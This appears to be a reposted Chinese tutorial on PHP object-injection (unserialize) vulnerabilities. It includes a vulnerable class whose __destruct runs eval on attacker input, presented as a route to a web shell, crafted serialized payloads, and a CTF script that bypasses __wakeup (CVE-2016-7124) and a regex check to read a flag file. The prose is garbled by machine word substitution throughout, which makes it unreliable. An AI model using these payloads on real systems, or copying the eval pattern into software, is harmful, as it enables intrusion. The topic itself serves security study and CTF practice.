详解php反序列化
当用户的哀求在传给反序列化函数unserialize()之前没有被正确的过滤时就会发生裂痕。由于PHP应承工具序列化,进攻者就可以提交特定的序列化的字符串给一个具有该裂痕的unserialize函数,最终导致一个在该应用范畴内的恣意PHP工具注入。 工具裂痕呈现得满意两个条件: 一、unserialize的参数可控。 二、 代码里有界说一个含有把戏要领的类,而且该要领里呈现一些行使类成员变量作为参数的存在安详题目的函数。 <?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?> 好比这个列子,直接是用户天生的内容转达给unserialize()函数,那就可以结构这样的语句 ?test=O:1:"A":1:{s:4:"test";s:5:"lemon";} 在剧本运行竣事后便会挪用_destruct函数,同时会包围test变量输出lemon。 发明这个裂痕,便可以操作这个裂痕点节制输入变量,拼接成一个序列化工具。 再看一个例子: <?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test);//_destruct()函数中挪用eval执行序列化工具中的语句 } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}"; // 结构序列化工具 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?> 着实细心调查就会发明,着实我们手动结构序列化工具就是为了unserialize()函数可以或许触发__destruc()函数,然后执行在__destruc()函数里恶意的语句。 以是我们操作这个裂痕点便可以获取web shell了 6 绕过邪术函数的反序列化 wakeup()邪术函数绕过 PHP5<5.6.25 PHP7<7.0.10 PHP反序列化裂痕CVE-2016-7124 #a#重点:当反序列化字符串中,暗示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行 百度杯——Hash 着实细心说明代码,只要我们能绕过两点即可获得f15g_1s_here.php的内容 (1)绕过正则表达式对变量的搜查 那么题目就来了,假如绕过正则表达式 (2)绕过_wakeup()邪术函数,上面提到了当反序列化字符串中,暗示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行 编写php序列化剧本 <?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } #先建设一个工具,自动挪用__construct邪术函数 $obj = new Demo('f15g_1s_here.php'); #举办序列化 $a = serialize($obj); #行使str_replace() 函数举办替代,来绕过正则表达式的搜查 $a = str_replace('O:4:','O:+4:',$a); #行使str_replace() 函数举办替代,来绕过__wakeup()邪术函数 $a = str_replace(':1:',':2:',$a); #再举办base64编码 echo base64_encode($a); ?> (编辑:湖南网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |